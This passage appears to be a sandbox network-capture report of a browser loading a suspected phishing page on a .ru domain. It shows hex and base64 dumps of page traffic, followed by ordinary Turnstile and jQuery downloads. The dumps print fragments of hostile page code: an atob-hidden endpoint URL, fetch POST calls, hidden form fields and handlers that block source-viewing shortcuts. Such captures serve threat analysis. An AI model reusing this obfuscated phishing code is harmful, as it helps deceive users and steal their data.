DQp9DQojWW1JWkFka0pFZCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ltSVpBZGtKRWQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTA1cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 63 35 36 0d 0a 57 35 30 5a 58 4a 37 61 6e 56 7a 64 47 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4f 6d 4e 6c 62 6e 52 6c 63 69 46 70 62 58 42 76 63 6e 52 68 62 6e 51 37 66 51 30 4b 49 31 6c 74 53 56 70 42 5a 47 74 4b 52 57 51 75 62 58 51 74 4e 58 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 6a 4e 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 5a 62 55 6c 61 51 57 52 72 53 6b 56 6b 49 43 35 74 64 43 30 30 49 48 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 78 63 6d 56 74 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 44 51 6f 6a 57 57 31 4a 57 6b 46 6b 61 30 70 46 5a 43 41 6a 53 6e 42 57 53 45 64 75 55 46 4a 71 62 79 42 37 59 32 39 73 62 33 49 36 49 43 4d 32 59 7a 63 31 4e 32 51 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 Data Ascii: c56W50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI1ltSVpBZGtKRWQubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNZbUlaQWRrSkVkIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojWW1JWkFka0pFZCAjSnBWSEduUFJqbyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 43 68 6c 64 6d 56 75 64 43 35 74 5a 58 52 68 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 46 73 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 32 4e 79 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 56 32 5a 57 35 30 4c 6d 31 6c 64 47 46 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4f 44 55 70 44 51 6f 67 49 43 41 67 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 70 39 4b 54 73 4e 43 6d 52 76 59 33 56 74 Data Ascii: ChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3Vt
2024-12-09 23:06:31 UTC	427	IN	Data Raw: 6c 6d 65 53 31 6a 62 32 35 30 5a 57 35 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 30 5a 58 68 30 4c 57 4e 6c 62 6e 52 6c 63 69 49 2b 44 51 6f 38 5a 6d 39 79 62 53 42 70 5a 44 30 69 52 58 68 50 5a 55 5a 33 64 45 56 79 52 43 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 6a 5a 6c 39 30 64 58 4a 75 63 33 52 70 62 47 55 69 49 47 6c 6b 50 53 4a 6a 5a 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 63 32 6c 6b 49 69 42 75 59 57 31 6c 50 53 4a 7a 61 57 51 69 49 48 5a 68 62 48 56 6c 50 53 4a 77 5a 33 5a 79 63 6c 42 76 56 32 35 4d 51 57 52 6f 64 6e 55 78 65 6a 6c 48 64 33 46 6a 54 6e 4e 6b 54 48 52 36 4d Data Ascii: lmeS1jb250ZW50LWNlbnRlciI+DQo8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQo8Zm9ybSBpZD0iRXhPZUZ3dEVyRCI+DQo8ZGl2IGNsYXNzPSJjZl90dXJuc3RpbGUiIGlkPSJjZiI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0ic2lkIiBuYW1lPSJzaWQiIHZhbHVlPSJwZ3ZyclBvV25MQWRodnUxejlHd3FjTnNkTHR6M
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 33 38 62 38 0d 0a 31 5a 54 30 69 56 57 35 72 62 6d 39 33 62 69 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 62 6d 46 74 5a 54 30 69 59 6d 78 30 5a 48 4a 6c 5a 69 49 67 64 6d 46 73 64 57 55 39 49 6d 68 30 64 48 41 36 4c 79 39 71 64 6e 4e 70 62 57 31 70 5a 33 4a 68 64 47 6c 76 62 69 35 6a 62 32 30 76 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6c 56 75 61 32 35 76 64 32 34 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 Data Ascii: 38b81ZT0iVW5rbm93biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYmx0ZHJlZiIgbmFtZT0iYmx0ZHJlZiIgdmFsdWU9Imh0dHA6Ly9qdnNpbW1pZ3JhdGlvbi5jb20vIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9IlVua25vd24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 63 73 49 48 73 4e 43 69 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 48 52 56 51 69 4c 41 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 79 5a 58 4e 77 62 32 35 7a 5a 53 35 30 5a 58 68 30 4b 43 6b 4e 43 69 41 67 49 43 42 39 4b 53 35 30 61 47 56 75 4b 48 52 6c 65 48 51 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 47 6c 6d 4b 48 52 6c 65 48 51 67 50 54 30 67 4d 43 6c 37 44 51 6f 67 49 43 41 67 5a 6d 56 30 59 32 67 6f 54 6c 4a 58 51 32 46 6c 65 6d 68 59 62 53 77 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 74 5a 58 52 6f 62 32 51 36 49 43 4a 51 54 31 4e 55 49 69 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 59 6d 39 6b 65 54 6f 67 62 6d 56 33 49 Data Ascii: csIHsNCiAgICBtZXRob2Q6ICJHRVQiLA0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgIHJldHVybiByZXNwb25zZS50ZXh0KCkNCiAgICB9KS50aGVuKHRleHQgPT4gew0KICAgIGlmKHRleHQgPT0gMCl7DQogICAgZmV0Y2goTlJXQ2FlemhYbSwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgYm9keTogbmV3I
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 46 66 6e 66 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4e 6e 6f 75 61 48 52 78 5a 58 56 70 5a 6e 42 79 4c 6e 4a 31 4c 33 4a 4f 62 6a 51 76 22 29 29 3b 0d 0a 63 6f 6e 73 74 20 4c 47 6b 67 72 76 63 66 6b 79 20 3d 20 6e 78 73 6e 70 59 46 66 6e 66 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 59 49 6d 4a 58 52 44 68 6c 6f 20 3f 20 6e 78 73 6e 70 59 46 66 6e 66 2e 68 6f 73 74 6e 61 6d 65 20 3a 20 6e 78 73 6e 70 59 46 66 6e 66 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 2f 2a 20 53 74 6f 70 20 63 68 61 73 69 6e 67 20 74 68 65 20 6d 6f 6e 65 79 20 61 6e 64 20 73 74 61 72 74 20 63 68 61 73 69 6e 67 20 74 68 65 20 70 61 73 73 69 6f 6e 2e 20 Data Ascii: Ffnf = new URL(atob("aHR0cHM6Ly81NnouaHRxZXVpZnByLnJ1L3JObjQv"));const LGkgrvcfky = nxsnpYFfnf.hostname === YImJXRDhlo ? nxsnpYFfnf.hostname : nxsnpYFfnf.hostname.split('.').slice(-2).join('.');/* Stop chasing the money and start chasing the passion.
2024-12-09 23:06:31 UTC	1369	IN	Data Raw: 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a 73 4e 43 6e 30 4e 43 69 4e 5a 62 55 6c 61 51 57 52 72 53 6b 56 6b 49 47 67 30 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 69 34 31 63 6d 56 74 4f 32 5a 76 62 6e 51 74 64 32 56 70 5a 32 68 30 4f 6a 55 77 4d 44 74 73 61 57 35 6c 4c 57 68 6c 61 57 64 6f 64 44 6f 78 4c 6a 49 37 66 51 30 4b 49 31 6c 74 53 56 70 42 5a 47 74 4b 52 57 51 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 Data Ascii: ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNZbUlaQWRrSkVkIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1ltSVpBZGtKRWQgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49727	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:33 UTC	649	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:33 UTC	386	IN	HTTP/1.1 302 Found Date: Mon, 09 Dec 2024 23:06:33 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f9063374b04d/api.js Server: cloudflare CF-RAY: 8ef8a5771e8242cd-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49726	151.101.2.137	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:33 UTC	623	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wfdd.htqeuifpr.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:33 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 09 Dec 2024 23:06:33 GMT Age: 2307125 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740024-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 7 X-Timer: S1733785593.451411,VS0,VE0 Vary: Accept-Encoding
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-09 23:06:33 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
